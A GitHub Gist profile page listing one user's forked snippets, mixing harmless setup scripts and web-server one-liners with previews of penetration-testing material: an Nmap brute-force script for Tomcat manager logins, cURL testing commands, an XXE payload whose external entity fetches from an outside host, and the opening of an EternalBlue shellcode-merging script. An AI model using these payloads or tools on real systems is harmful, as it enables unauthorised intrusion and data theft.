Skip to content

Instantly share code, notes, and snippets.

View buglessdr's full-sized avatar

Robert Mckay buglessdr

  • Edgile
  • Mesa, Arizona
View GitHub Profile
@buglessdr
buglessdr / osx_bootstrap.sh
Last active November 23, 2020 21:02 — forked from codeinthehole/osx_bootstrap.sh
Script to install stuff I want on a new OSX machine
#!/usr/bin/env bash
#
# Bootstrap script for setting up a new OSX machine
#
# This should be idempotent so it can be run multiple times.
#
# Some apps don't have a cask and so still need to be installed by hand. These
# include:
#
# - Twitter (app store)
@buglessdr
buglessdr / remove blank lines regex.md
Created January 24, 2018 15:44 — forked from fomightez/remove blank lines regex.md
remove all blank lines using regular expressions
@buglessdr
buglessdr / http-tomcat-manager.nse
Created January 4, 2018 03:24 — forked from initbrain/http-tomcat-manager.nse
Nmap NSE script that performs a dictionary/bruteforce attack over login and password fields of Apache Tomcat default web management pages
local shortport = require "shortport"
local http = require "http"
local stdnse = require "stdnse"
local brute = require "brute"
local creds = require "creds"
description = [[
Performs a dictionary/bruteforce attack over login and password fields of Apache Tomcat default web management pages.
]]
@buglessdr
buglessdr / decompile.bat
Created January 4, 2018 03:14 — forked from mslinn/decompile.bat
Decompile JVM class files using IntelliJ IDEA's embedded FernFlower decompiler
java -cp "C:\Program Files (x86)\JetBrains\IntelliJ IDEA 15.0.2\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true . src
@buglessdr
buglessdr / web-servers.md
Created October 3, 2017 04:41 — forked from willurd/web-servers.md
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@buglessdr
buglessdr / README.md
Created September 15, 2017 03:41 — forked from vzool/README.md
cURL Penetration Test

cURL Penetration Test

Get Cookie
curl -v --cookie "USER_TOKEN=Yes" http://127.0.0.1:5000/
Send data with fields
curl --data "param1=value1&param2=value2" https://example.com/resource.cgi
@buglessdr
buglessdr / XXE_payloads
Created September 1, 2017 06:32 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@buglessdr
buglessdr / eternalblue_merge_shellcode.py
Created September 1, 2017 06:30 — forked from mgeeky/eternalblue_merge_shellcode.py
Windows x64 and x86 kernel shellcode for eternalblue exploit
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
import sys
from struct import pack
if len(sys.argv) < 4:
print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
sys.exit()
sc_x86 = open(sys.argv[1], 'rb').read()
sc_x64 = open(sys.argv[2], 'rb').read()
@buglessdr
buglessdr / web-server.rb
Created September 1, 2017 06:29 — forked from mgeeky/web-server.rb
Create basic Web Server in Ruby (using WEBrick)
#!/usr/bin/env ruby
require "webrick"
=begin
WEBrick is a Ruby library that makes it easy to build an HTTP server with Ruby.
It comes with most installations of Ruby by default (it’s part of the standard library),
so you can usually create a basic web/HTTP server with only several lines of code.
The following code creates a generic WEBrick server on the local machine on port 1234,
@buglessdr
buglessdr / dummy-web-server.py
Created September 1, 2017 06:29 — forked from mgeeky/dummy-web-server.py
a minimal http server in python. Responds to GET, HEAD, POST requests, but will fail on anything else.
#!/usr/bin/env python
"""
Very simple HTTP server in python.
Usage::
./dummy-web-server.py [<port>]
Send a GET request::
curl http://localhost